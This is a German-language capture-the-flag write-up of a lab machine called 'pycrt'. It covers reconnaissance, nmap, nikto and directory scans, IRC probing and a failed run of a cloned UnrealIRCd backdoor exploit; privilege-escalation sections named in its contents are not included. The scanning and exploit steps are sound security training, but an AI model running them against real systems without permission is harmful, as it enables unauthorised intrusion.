Verwendete Tools
Inhaltsverzeichnis
- Reconnaissance
- Web Enumeration
- IRC Enumeration & Exploitation Attempts
- LFI Exploitation & RCE
- Initial Access (www-data)
- Privilege Escalation (www-data zu chatlake)
- Privilege Escalation (chatlake zu pycrtlake via IRC Bot)
- Privilege Escalation (pycrtlake zu root via gtkwave/bash)
- Proof of Concept (Root Access)
- Flags
Reconnaissance
Die erste Phase des Penetrationstests, die Reconnaissance, zielt darauf ab, das Zielsystem im Netzwerk zu identifizieren und grundlegende Informationen darüber zu sammeln.
192.168.2.192
**Analyse:** Der Befehl arp-scan -l | grep "PCS" | awk '{print $1}' wird verwendet, um im lokalen Netzwerk nach Geräten zu suchen. - arp-scan -l: Sendet ARP-Anfragen an alle Hosts im lokalen Netzwerk und listet die Antworten auf. - | grep "PCS": Filtert die Ausgabe von arp-scan nach Zeilen, die "PCS" enthalten. "PCS Systemtechnik GmbH" ist oft der Hersteller von Netzwerkkarten für Oracle VirtualBox. - | awk '{print $1}': Extrahiert aus den gefilterten Zeilen die erste Spalte, welche die IP-Adresse ist. Das Ergebnis 192.168.2.192 ist die identifizierte IP-Adresse des Zielsystems, das vermutlich eine VirtualBox-VM ist.
**Bewertung:** Die IP-Adresse des Ziels wurde erfolgreich ermittelt. Der Hinweis auf "PCS" bestätigt die Vermutung einer virtuellen Maschine, was für diesen CTF-Kontext typisch ist.
**Empfehlung (Pentester):** Nachdem die IP-Adresse bekannt ist, sollte als Nächstes ein Eintrag in die /etc/hosts-Datei vorgenommen werden, falls ein Hostname bekannt ist oder vermutet wird, um die weitere Arbeit zu erleichtern. Anschließend ist ein detaillierter Portscan auf die IP-Adresse 192.168.2.192 durchzuführen.
**Empfehlung (Admin):** Die Verwendung von Netzwerküberwachungstools kann helfen, ungewöhnliche ARP-Scan-Aktivitäten zu erkennen. In größeren Netzwerken kann die Segmentierung die Reichweite solcher Scans einschränken.
192.168.2.192 pycrt.hmv
**Analyse:** Der Befehl vi /etc/hosts öffnet die Hosts-Datei im vi-Editor. Der Pentester fügt die Zeile 192.168.2.192 pycrt.hmv hinzu. Dies mappt den Hostnamen pycrt.hmv auf die zuvor entdeckte IP-Adresse 192.168.2.192. Dies ermöglicht es, das Zielsystem im weiteren Verlauf über den Hostnamen anstelle der IP-Adresse anzusprechen.
**Bewertung:** Ein sinnvoller Schritt, um die Übersichtlichkeit und Handhabung bei den folgenden Befehlen zu verbessern, insbesondere wenn Webanwendungen auf Hostnamen basierende Virtual Hosts verwenden.
**Empfehlung (Pentester):** Überprüfen Sie die Erreichbarkeit des Hosts über den neu konfigurierten Hostnamen, z.B. mit ping pycrt.hmv oder einem curl-Request.
**Empfehlung (Admin):** Auf administrativen Systemen sollten Änderungen an der /etc/hosts-Datei nur von autorisierten Benutzern vorgenommen werden. Die zentrale DNS-Auflösung ist in den meisten Fällen vorzuziehen.
* Host pycrt.hmv:80 was resolved. * IPv6: (none) * IPv4: 192.168.2.192 * Trying 192.168.2.192:80... * Connected to pycrt.hmv (192.168.2.192) port 80 * using HTTP/1.x > HEAD / HTTP/1.1 > Host: pycrt.hmv > User-Agent: curl/8.13.0 > Accept: */* > * Request completely sent off < HTTP/1.1 200 OK HTTP/1.1 200 OK < Date: Fri, 16 May 2025 13:40:09 GMT Date: Fri, 16 May 2025 13:40:09 GMT < Server: Apache/2.4.62 (Debian) Server: Apache/2.4.62 (Debian) < Last-Modified: Sat, 05 Apr 2025 12:13:14 GMT Last-Modified: Sat, 05 Apr 2025 12:13:14 GMT < ETag: "29cd-63206ed68739c" ETag: "29cd-63206ed68739c" < Accept-Ranges: bytes Accept-Ranges: bytes < Content-Length: 10701 Content-Length: 10701 < Vary: Accept-Encoding Vary: Accept-Encoding < Content-Type: text/html Content-Type: text/html < * Connection #0 to host pycrt.hmv left intact
**Analyse:** Der Befehl curl -Iv http://pycrt.hmv -s sendet eine HTTP HEAD-Anfrage an pycrt.hmv auf Port 80. - curl: Ein Kommandozeilentool zum Übertragen von Daten mit URLs. - -I: Führt eine HTTP HEAD-Anfrage aus (holt nur die Header). - -v: Verbose-Modus, zeigt detaillierte Informationen über die Verbindung und die Anfrage/Antwort an. - -s: Silent-Modus, unterdrückt die Fortschrittsanzeige. Die Ausgabe bestätigt, dass pycrt.hmv korrekt zu 192.168.2.192 aufgelöst wird und eine Verbindung zu Port 80 hergestellt werden kann. Der Server antwortet mit HTTP/1.1 200 OK und gibt Header-Informationen zurück, darunter Server: Apache/2.4.62 (Debian). Dies bestätigt, dass ein Apache-Webserver auf dem Ziel läuft.
**Bewertung:** Dieser Schritt validiert die Erreichbarkeit des Webservers und liefert erste wichtige Informationen über die Server-Software (Apache 2.4.62 auf Debian). Die Statusmeldung 200 OK zeigt, dass der Webserver aktiv ist und Anfragen beantwortet.
**Empfehlung (Pentester):** Nachdem die grundlegende Erreichbarkeit des Webservers bestätigt wurde, ist ein umfassender Portscan mit nmap der nächste logische Schritt, um alle offenen Ports und Dienste auf dem Zielsystem zu identifizieren, nicht nur den Webserver.
**Empfehlung (Admin):** Das Server-Header-Feld kann Informationen über die verwendete Webserver-Software und -Version preisgeben. In manchen Sicherheitsrichtlinien wird empfohlen, diesen Header zu minimieren oder zu verschleiern (ServerTokens Prod in Apache), um Angreifern weniger direkte Informationen zu liefern, obwohl dies die Sicherheit nur marginal erhöht ("Security through obscurity").
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-16 15:39 CEST Nmap scan report for pycrt.hmv (192.168.2.192) Host is up (0.00026s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) |_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-title: Apache2 Debian Default Page: It works |_http-server-header: Apache/2.4.62 (Debian) 6667/tcp open irc | irc-info: | users: 1 | servers: 1 | chans: 0 | lusers: 1 | lservers: 0 | server: irc.local | version: InspIRCd-3. irc.local | source ident: nmap | source host: 192.168.2.199 |_ error: Closing link: (nmap@192.168.2.199) [Client exited] MAC Address: 08:00:27:2D:B4:48 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4) Network Distance: 1 hop Service Info: Host: irc.local; OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.25 ms pycrt.hmv (192.168.2.192) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.55 seconds
**Analyse:** Der Befehl nmap -sS -sC -sV -p- -T5 -AO pycrt.hmv führt einen intensiven Scan auf pycrt.hmv durch. - -sV: Versucht, Versionsinformationen der laufenden Dienste zu ermitteln. - -T5: Setzt das Timing-Template auf "insane" für einen sehr schnellen Scan (kann ungenau sein oder Intrusion Detection Systeme auslösen, aber in CTFs oft verwendet). - Die anderen Parameter (-sS, -sC, -p-, -AO) wurden bereits im vorherigen Bericht erklärt. Der Scan identifiziert drei offene TCP-Ports: - Port 22/tcp: SSH, OpenSSH 8.4p1 Debian. - Port 80/tcp: HTTP, Apache httpd 2.4.62 (Debian), mit dem Titel "Apache2 Debian Default Page: It works". - Port 6667/tcp: IRC, identifiziert als InspIRCd-3 auf irc.local. Die irc-info-Skriptausgabe liefert einige Details, aber auch einen Fehler ("Client exited"). Zusätzlich werden Betriebssystemdetails (Linux 4.X/5.X, möglicherweise OpenWrt) und die MAC-Adresse (VirtualBox) bestätigt.
**Bewertung:** Dieser Scan liefert eine umfassende Übersicht der Angriffsfläche. Neben dem bereits bekannten Webserver (Port 80) sind nun auch SSH (Port 22) und ein IRC-Server (Port 6667) als potenzielle Ziele identifiziert. Die Information "Apache2 Debian Default Page" auf Port 80 deutet darauf hin, dass möglicherweise keine benutzerdefinierte Webanwendung direkt im Web-Root liegt, sondern vielleicht in Unterverzeichnissen oder dass die Standardseite nicht geändert wurde. Der IRC-Dienst ist ein interessanter, weniger häufiger Angriffsvektor.
**Empfehlung (Pentester):** Jeder der offenen Ports sollte weiter untersucht werden:
- Port 22 (SSH): Auf schwache Anmeldeinformationen prüfen (Brute-Force, falls Benutzer bekannt sind), bekannte Schwachstellen in OpenSSH 8.4p1.
- Port 80 (HTTP): Trotz der Standardseite nach Unterverzeichnissen, virtuellen Hosts und Webanwendungen suchen (z.B. mit Gobuster, Feroxbuster). Nikto-Scan für bekannte Webserver-Schwachstellen.
- Port 6667 (IRC): Versuchen, sich mit einem IRC-Client zu verbinden, nach bekannten Schwachstellen in InspIRCd-3 suchen, IRC-spezifische Enumeration durchführen.
**Empfehlung (Admin):** Stellen Sie sicher, dass alle Dienste (SSH, Apache, IRC) auf dem neuesten Stand sind und sicher konfiguriert wurden. Beschränken Sie den Zugriff auf diese Dienste, falls nicht alle öffentlich benötigt werden (z.B. IRC nur für interne Nutzung). Ändern Sie Standard-Webseiten, um keine unnötigen Informationen preiszugeben.
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) 80/tcp open http Apache httpd 2.4.62 ((Debian)) 6667/tcp open irc
**Analyse:** Dieser Befehl wiederholt den vorherigen nmap-Scan, leitet die Ausgabe aber durch grep open, um nur die Zeilen anzuzeigen, die das Wort "open" enthalten. Dies dient dazu, eine schnelle, saubere Liste der offenen Ports zu erhalten.
**Bewertung:** Eine nützliche Methode, um die Scan-Ergebnisse schnell zusammenzufassen und sich auf die relevanten offenen Ports zu konzentrieren.
**Empfehlung (Pentester):** Keine spezifische neue Empfehlung, da dies nur eine andere Darstellung des vorherigen Ergebnisses ist. Die Strategie bleibt die Untersuchung der drei offenen Ports.
**Empfehlung (Admin):** Keine spezifische neue Empfehlung.
Web Enumeration
Nachdem die offenen Ports identifiziert wurden, fokussieren wir uns zunächst auf den Webserver auf Port 80, um nach bekannten Schwachstellen und versteckten Inhalten zu suchen.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.192 + Target Hostname: 192.168.2.192 + Target Port: 80 + Start Time: 2025-05-16 15:39:43 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.62 (Debian) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /: Server may leak inodes via ETags, header found with file /, inode: 29cd, size: 63206ed68739c, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . + 8074 requests: 0 error(s) and 4 item(s) reported on remote host + End Time: 2025-05-16 15:39:53 (GMT2) (10 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
**Analyse:** Der Befehl nikto -h http://192.168.2.192 führt einen Webserver-Scan mit Nikto durch. Nikto ist ein Scanner, der auf bekannte Webserver-Schwachstellen, Fehlkonfigurationen und interessante Dateien/Verzeichnisse prüft. Die Ausgabe zeigt: - Bestätigung des Servers: Apache/2.4.62 (Debian). - Fehlende Sicherheitsheader: X-Frame-Options (Schutz gegen Clickjacking) und X-Content-Type-Options (Schutz gegen MIME-Sniffing-Angriffe) sind nicht gesetzt. - Potenzielles Inode-Leak über ETags (CVE-2003-1418): Dies ist eine ältere Schwachstelle, die unter Umständen Rückschlüsse auf die interne Dateistruktur erlauben könnte, aber oft von geringer praktischer Bedeutung ist. - Erlaubte HTTP-Methoden: GET, POST, OPTIONS, HEAD. Die OPTIONS-Methode kann nützlich sein, um weitere Informationen zu erhalten. - Keine CGI-Verzeichnisse gefunden (mit Standardtests).
**Bewertung:** Nikto hat einige informative, aber meist risikoarme Befunde geliefert. Das Fehlen von Sicherheitsheadern ist eine gängige, aber eher geringfügige Schwachstelle. Das ETag-Inode-Leak ist alt und selten ausnutzbar. Wichtig ist, dass keine offensichtlichen kritischen Schwachstellen wie veraltete Softwarekomponenten oder exponierte gefährliche Dateien direkt gefunden wurden.
**Empfehlung (Pentester):** Die fehlenden Sicherheitsheader sollten im Bericht vermerkt werden. Der nächste Schritt in der Web-Enumeration ist das Suchen nach versteckten Verzeichnissen und Dateien mit Tools wie Gobuster oder Feroxbuster, da Nikto hier keine spezifischen Verzeichnisse gefunden hat.
**Empfehlung (Admin):** Implementieren Sie die fehlenden Sicherheitsheader (X-Frame-Options: DENY oder SAMEORIGIN, X-Content-Type-Options: nosniff), um die Sicherheit der Webanwendung zu erhöhen. Die ETag-Konfiguration kann überprüft werden, um das Inode-Leak zu verhindern, falls gewünscht (z.B. FileETag None in Apache).
IRC Enumeration & Exploitation Attempts
Parallel zur Web-Enumeration wird der IRC-Dienst auf Port 6667 untersucht, da dieser einen weniger alltäglichen Angriffsvektor darstellen könnte.
(UNKNOWN) [192.168.2.192] 6667 (ircd) open :irc.local NOTICE * :*** Looking up your hostname... :irc.local NOTICE * :*** Could not resolve your hostname: Request timed out; using your IP address (192.168.2.199) instead. 192.168.2.199 ERROR :Closing link: (811AAAAAE@192.168.2.199) [Registration timeout]
**Analyse:** Mit nc -nv 192.168.2.192 6667 wird versucht, eine manuelle Verbindung zum IRC-Server herzustellen. - nc: Netcat, ein vielseitiges Netzwerktool. - -n: Numerische IP-Adressen (kein DNS). - -v: Verbose-Ausgabe. Die Verbindung wird erfolgreich hergestellt (open). Der IRC-Server (irc.local) versucht, den Hostnamen des Clients aufzulösen, scheitert aber und verwendet stattdessen die IP-Adresse. Kurz darauf wird die Verbindung mit der Meldung ERROR :Closing link: (...) [Registration timeout] serverseitig beendet. Dies bedeutet, dass der Client sich nicht innerhalb einer bestimmten Zeitspanne beim IRC-Server registriert hat (typischerweise durch Senden von NICK- und USER-Befehlen).
**Bewertung:** Die manuelle Verbindung mit Netcat bestätigt, dass der IRC-Dienst läuft und Verbindungen annimmt, aber eine sofortige Registrierung erwartet. Dies ist normales Verhalten für IRC-Server.
**Empfehlung (Pentester):** Verwenden Sie einen richtigen IRC-Client (wie Irssi, WeeChat) oder spezialisierte Nmap-Skripte, um mit dem IRC-Server zu interagieren und weitere Informationen zu sammeln oder nach Schwachstellen zu suchen. Prüfen Sie, ob eine SSL/TLS-Verbindung erwartet wird.
**Empfehlung (Admin):** Stellen Sie sicher, dass der IRC-Server sicher konfiguriert ist, keine bekannten Schwachstellen aufweist und der Zugriff, falls nicht öffentlich gedacht, eingeschränkt ist. Ein Registration-Timeout ist eine normale Sicherheitsmaßnahme.
Connecting to 192.168.2.192 40979327E27F0000:error:0A0000C6:SSL routines:tls_get_more_records:packet length too long:../ssl/record/methods/tls_common.c:662: 40979327E27F0000:error:0A000139:SSL routines::record layer failure:../ssl/record/rec_layer_s3.c:691:
**Analyse:** Der Befehl openssl s_client -connect 192.168.2.192:6667 -quiet versucht, eine SSL/TLS-Verbindung zum IRC-Server auf Port 6667 herzustellen. Die Option -quiet unterdrückt die meisten zeremoniellen Ausgaben von s_client. Die Fehlermeldungen (packet length too long, record layer failure) deuten darauf hin, dass der Server auf diesem Port keine SSL/TLS-verschlüsselte Kommunikation erwartet oder dass ein Problem mit dem SSL-Handshake vorliegt, wahrscheinlich weil der Server Plaintext-IRC spricht.
**Bewertung:** Es ist nun sehr wahrscheinlich, dass der IRC-Dienst auf Port 6667 unverschlüsselt betrieben wird. Der Versuch, eine SSL-Verbindung zu erzwingen, schlägt fehl.
**Empfehlung (Pentester):** Konzentrieren Sie sich auf unverschlüsselte IRC-Kommunikation für diesen Port. Verwenden Sie Nmap-Skripte, die auf IRC-Dienste zugeschnitten sind.
**Empfehlung (Admin):** Wenn der IRC-Dienst sensible Informationen übertragen könnte, sollte eine Verschlüsselung (IRC over SSL/TLS, oft auf Port 6697) in Betracht gezogen und erzwungen werden.
Der Pentester recherchiert online (Link zu HackTricks: [Link: https://book.hacktricks.wiki/sw/network-services-pentesting/pentesting-irc.html | Ziel: https://book.hacktricks.wiki/sw/network-services-pentesting/pentesting-irc.html]) nach Informationen zum Pentesting von IRC-Diensten und stößt auf Hinweise zu Standardpasswörtern oder bekannten Schwachstellen.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-16 15:46 CEST Nmap scan report for pycrt.hmv (192.168.2.192) Host is up (0.00018s latency). Not shown: 341 closed tcp ports (reset) PORT STATE SERVICE VERSION 6667/tcp open irc | irc-botnet-channels: |_ ERROR: TIMEOUT |_irc-unrealircd-backdoor: Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again). | irc-info: | users: 2 | servers: 1 | chans: 0 | lusers: 2 | lservers: 0 | server: irc.local | version: InspIRCd-3. irc.local | source ident: nmap | source host: 192.168.2.199 |_ error: Closing link: (nmap@192.168.2.199) [Client exited] MAC Address: 08:00:27:2D:B4:48 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Service Info: Host: irc.local Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 65.48 seconds
**Analyse:** Ein weiterer Nmap-Scan wird gestartet, diesmal spezifisch auf IRC-Ports (194 und der Bereich 6660-7000) und mit IRC-spezifischen NSE-Skripten: - --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor: Führt Skripte aus, um nach Botnet-Kanälen zu suchen, allgemeine IRC-Informationen zu sammeln und auf die bekannte UnrealIRCd-Backdoor-Schwachstelle zu prüfen. Die Ergebnisse für Port 6667: - irc-botnet-channels: Liefert einen Timeout-Fehler, findet also keine offensichtlichen Botnet-Kanäle. - irc-unrealircd-backdoor: Das Skript meldet, dass der Server die Verbindung geschlossen hat, möglicherweise wegen zu vieler Verbindungsversuche. Dies deutet nicht direkt auf die Backdoor hin, aber das Skript konnte nicht erfolgreich abgeschlossen werden. - irc-info: Bestätigt erneut InspIRCd-3 und den Hostnamen irc.local. Die anderen Ports im gescannten Bereich sind geschlossen.
**Bewertung:** Die Nmap-Skripte liefern keine direkten Hinweise auf eine einfache Ausnutzung oder kritische Fehlkonfigurationen. Der Timeout bei irc-botnet-channels und das Problem mit dem irc-unrealircd-backdoor-Skript könnten auf serverseitige Schutzmechanismen oder einfach auf Inkompatibilitäten hindeuten. Die Information, dass es sich um InspIRCd-3 handelt, ist jedoch weiterhin relevant für die Suche nach spezifischen Schwachstellen für diese Version.
**Empfehlung (Pentester):** Da die Standard-Nmap-Skripte keine eindeutigen Ergebnisse liefern, sollte nach öffentlich bekannten Exploits für InspIRCd-3 gesucht werden. Die Fehlermeldung des irc-unrealircd-backdoor-Skripts könnte auch ein Hinweis sein, dass die verwendete IRCd-Version *nicht* UnrealIRCd ist oder dass der Exploit-Versuch erkannt wurde. Eine manuelle Interaktion mit einem IRC-Client könnte tiefere Einblicke geben.
**Empfehlung (Admin):** Halten Sie die IRC-Server-Software (InspIRCd) stets auf dem neuesten Stand, um bekannte Schwachstellen zu vermeiden. Konfigurieren Sie Ratenbegrenzungen und andere Schutzmechanismen, um automatisierte Scans und Exploit-Versuche zu erschweren.
Klone nach 'Unreal_IRCd_3.2.8.1_Exploit'... remote: Enumerating objects: 12, done. remote: Counting objects: 100% (12/12), done. remote: Compressing objects: 100% (11/11), done. remote: Total 12 (delta 2), reused 0 (delta 0), pack-reused 0 (from 0) Empfange Objekte: 100% (12/12), fertig. Löse Unterschiede auf: 100% (2/2), fertig.
**Analyse:** Der Pentester klont ein GitHub-Repository, das einen Exploit für eine bekannte Backdoor-Schwachstelle in UnrealIRCd Version 3.2.8.1 enthält. Dies ist eine sehr spezifische Schwachstelle (CVE-2010-2075), bei der eine bösartige Version von UnrealIRCd in Umlauf gebracht wurde, die eine Backdoor enthielt.
**Bewertung:** Dies ist ein gezielter Versuch, eine bekannte Schwachstelle auszunutzen. Der Erfolg hängt davon ab, ob auf dem Zielsystem genau diese verwundbare Version von UnrealIRCd läuft. Nmap hat zuvor "InspIRCd-3" gemeldet, was nicht UnrealIRCd ist. Daher ist die Erfolgswahrscheinlichkeit dieses spezifischen Exploits gering, es sei denn, die Nmap-Identifikation war ungenau oder es gibt eine ungewöhnliche Konstellation.
**Empfehlung (Pentester):** Führen Sie den Exploit aus, aber seien Sie sich bewusst, dass er wahrscheinlich nicht erfolgreich sein wird, wenn der Server tatsächlich InspIRCd ist. Es ist wichtig, die von Tools gelieferten Versionsinformationen kritisch zu hinterfragen und ggf. mehrere Quellen zur Verifizierung heranzuziehen.
**Empfehlung (Admin):** Verwenden Sie niemals Software aus nicht vertrauenswürdigen Quellen. Überprüfen Sie die Integrität heruntergeladener Softwarepakete mittels Hash-Summen. Die UnrealIRCd-Backdoor war ein prominentes Beispiel für eine kompromittierte Softwarelieferkette.
EXPLOIT - BIND SHELL
- Backdoor Command Execution -
tested on: UnrealIRCd 3.2.8.1
[*] Generating payload...
[*] Connecting to 192.168.2.192:6667...
[*] Sending payload...
(UNKNOWN) [192.168.2.192] 6667 (ircd) open
:irc.local NOTICE * :*** Looking up your hostname...
:irc.local NOTICE * :*** Could not resolve your hostname: Request timed out; using your IP address (192.168.2.199) instead.
id
ERROR :Closing link: (811AAAAAL@192.168.2.199) [Registration timeout]
**Analyse:** Das Python2-Skript für den UnrealIRCd-Exploit wird gegen das Ziel ausgeführt. Das Skript versucht, eine Verbindung herzustellen und eine Payload zu senden, um eine Bind Shell zu erhalten oder Befehle auszuführen (hier wird nach dem Senden der Payload id eingegeben, in der Hoffnung auf eine Antwort). Der IRC-Server antwortet mit den üblichen Hostname-Resolution-Nachrichten und schließt dann die Verbindung aufgrund eines Registration timeout. Der Exploit scheint keinen Befehl erfolgreich ausgeführt zu haben.
**Bewertung:** Wie erwartet, war dieser Exploit nicht erfolgreich. Dies stützt die frühere Nmap-Identifikation von "InspIRCd-3" anstelle von UnrealIRCd. Der Versuch war dennoch legitim im Rahmen einer gründlichen Untersuchung.
**Empfehlung (Pentester):** Verwerfen Sie die Hypothese der UnrealIRCd-Backdoor. Konzentrieren Sie sich wieder auf die Enumeration des Webservers und die manuelle Interaktion mit dem InspIRCd-Server unter Verwendung eines Standard-IRC-Clients.
**Empfehlung (Admin):** Keine spezifische Empfehlung, da der Angriff nicht erfolgreich war. Dies bestätigt jedoch, dass die Verwendung einer anderen IRCd-Software (InspIRCd) vor diesem spezifischen Exploit geschützt hat.
Web Enumeration (Fortsetzung)
Nachdem die IRC-Untersuchung keine direkten Ergebnisse brachte, kehren wir zur Web-Enumeration zurück, um nach weiteren Inhalten auf dem Apache-Server zu suchen.
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://pycrt.hmv
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 503,404,403
[+] User Agent: gobuster/3.6
[+] Extensions: aspx,jpg,pdf,pem...
[+] Expanded: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://pycrt.hmv/index.html (Status: 200) [Size: 10701]
**Analyse:** Ein erneuter gobuster-Scan wird auf die Wurzel des Webservers http://pycrt.hmv gestartet. Die Parameter sind ähnlich wie zuvor (Wortliste, Ausschluss von Statuscodes, erweiterter Modus). Dieses Mal findet Gobuster nur die index.html, die der Apache-Standardseite entspricht.
**Bewertung:** Dieser Gobuster-Scan liefert keine neuen, versteckten Verzeichnisse im Web-Root. Dies kann bedeuten, dass entweder keine weiteren relevanten Verzeichnisse auf dieser Ebene existieren oder die verwendete Wortliste nicht ausreichend ist. Es ist auch möglich, dass interessante Inhalte unter anderen virtuellen Hosts liegen, die wir noch nicht kennen.
**Empfehlung (Pentester):** Versuchen Sie es mit einer anderen, eventuell größeren oder spezialisierteren Wortliste. Verwenden Sie alternative Tools wie feroxbuster oder dirsearch, die möglicherweise andere Techniken oder Standardlisten verwenden. Suchen Sie nach Hinweisen auf virtuelle Hosts (z.B. in Zertifikaten, falls HTTPS verfügbar wäre, oder durch DNS-Enumeration, falls möglich).
**Empfehlung (Admin):** Standard-Webseiten sollten angepasst oder entfernt werden, um Angreifern keine einfachen Ansatzpunkte oder Informationen über die Standardkonfiguration zu bieten.
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.2.192/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
👌 Status Codes │ [200, 301, 302]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [git, php, html, xml, zip, 7z, tar, bak, sql, py, pl, txt, jpg, jpeg, png, js, aac, ogg, flac, alac, wav, aiff, dsd, mp3, mp4, mkv, phtml]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 24l 126w 10354c http://192.168.2.192/icons/openlogo-75.png
200 GET 368l 933w 10701c http://192.168.2.192/
301 GET 9l 28w 318c http://192.168.2.192/ShadowSec => http://192.168.2.192/ShadowSec/
200 GET 368l 933w 10701c http://192.168.2.192/index.html
200 GET 185l 509w 6270c http://192.168.2.192/ShadowSec/index.html
[###>----------------] - 4m 2423827/12351220 18m found:5 errors:0
🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_192_168_2_192_-1747403986.state ...
[###>----------------] - 4m 2423937/12351220 18m found:5 errors:0
[####>---------------] - 4m 1237964/6175512 4795/s http://192.168.2.192/
[###>----------------] - 4m 1184204/6175512 4595/s http://192.168.2.192/ShadowSec/
**Analyse:** Der Pentester verwendet nun feroxbuster, ein weiteres Tool zur Web-Content-Enumeration. - --url "http://192.168.2.192/": Ziel-URL. - --wordlist ...directory-list-2.3-medium.txt: Dieselbe Wortliste wie bei Gobuster. - -x ...: Eine lange Liste von Dateierweiterungen, die getestet werden sollen. - -s 200 301 302: Berücksichtigt nur Antworten mit diesen Statuscodes. Feroxbuster findet zusätzlich zu den bekannten Inhalten (index.html, /icons/openlogo-75.png) ein Verzeichnis /ShadowSec/. Der Statuscode 301 für /ShadowSec deutet auf eine permanente Weiterleitung hin, typischerweise von verzeichnis zu verzeichnis/ (mit abschließendem Slash). Daraufhin wird /ShadowSec/index.html mit Status 200 gefunden. Der Scan wird nach einiger Zeit mit Strg+C abgebrochen.
**Bewertung:** Der Fund des Verzeichnisses /ShadowSec/ ist signifikant! Dies ist ein neues potenzielles Angriffsfeld, das Gobuster zuvor nicht (oder nicht so deutlich) angezeigt hat. Die Verwendung verschiedener Tools zur Enumeration kann oft zu unterschiedlichen oder ergänzenden Ergebnissen führen.
**Empfehlung (Pentester):** Untersuchen Sie das Verzeichnis /ShadowSec/ und die Datei /ShadowSec/index.html genauer. Betrachten Sie den Quellcode der index.html und führen Sie weitere Enumerationsscans (z.B. mit dirb, wfuzz oder erneut feroxbuster/gobuster) gezielt auf das Unterverzeichnis /ShadowSec/ aus, um dort nach weiteren Dateien oder Skripten zu suchen.
**Empfehlung (Admin):** Stellen Sie sicher, dass alle Webverzeichnisse, insbesondere solche mit potenziell sensitiven Namen wie "ShadowSec", angemessen geschützt sind und keine unnötigen Informationen oder Funktionalitäten preisgeben.
<title>SHADOWSEC Tactical Interface</title>
<h1>Core Command</h1>
<h2>Armory Database</h2>
<h2>Tactical Simulation</h2>
<h2>Shadow Comms</h2>
<h2>Quantum Protocol</h2>
▶ OPERATIVE: ll104567 (CODEX: BATTLE GOD)
◀ COMBAT SUCCESS RATE: 98.7%
▶ SHADOW SYNC: 100%
◀ LAST ACTIVE: 2025-04-04 21:37:05
<h3> OPERATION ARCHIVE - Army of Shadows </h3>
<ul>
<li>Phantom Strike Response: 0.08s</li>
<li>Tactical Prediction Accuracy: 99.3%</li>
<li>Shadow Assault Success: 100%</li>
</ul>
▶ QUANTUM ENCRYPTION ACTIVE ◀ TACTICAL MODULES LOADED ◀ SHADOW NETWORK STABLE ◀ GLORY FIELD DEPLOYED
**Analyse:** Der Quellcode der Seite http://192.168.2.192/ShadowSec/ (wahrscheinlich index.html) wird angezeigt. Der Prompt view-source: deutet darauf hin, dass dies im Browser geschah oder der Quelltext anderweitig extrahiert wurde. Der Inhalt ist thematisch an eine Art taktische oder militärische Oberfläche angelehnt ("SHADOWSEC Tactical Interface", "OPERATIVE: ll104567", "CODEX: BATTLE GOD"). Es werden keine direkten Formulare, Skripte oder offensichtlichen Schwachstellen im sichtbaren HTML-Code aufgedeckt, aber der operative Name ll104567 könnte ein Benutzername sein.
**Bewertung:** Der Quellcode liefert interessante thematische Hinweise und einen potenziellen Benutzernamen (ll104567). Für sich genommen enthüllt er jedoch keine direkten Angriffsvektoren. Es ist wahrscheinlich, dass die Funktionalität dieser Seite serverseitig implementiert ist oder über andere, noch nicht entdeckte Skripte/Dateien im /ShadowSec/-Verzeichnis bereitgestellt wird.
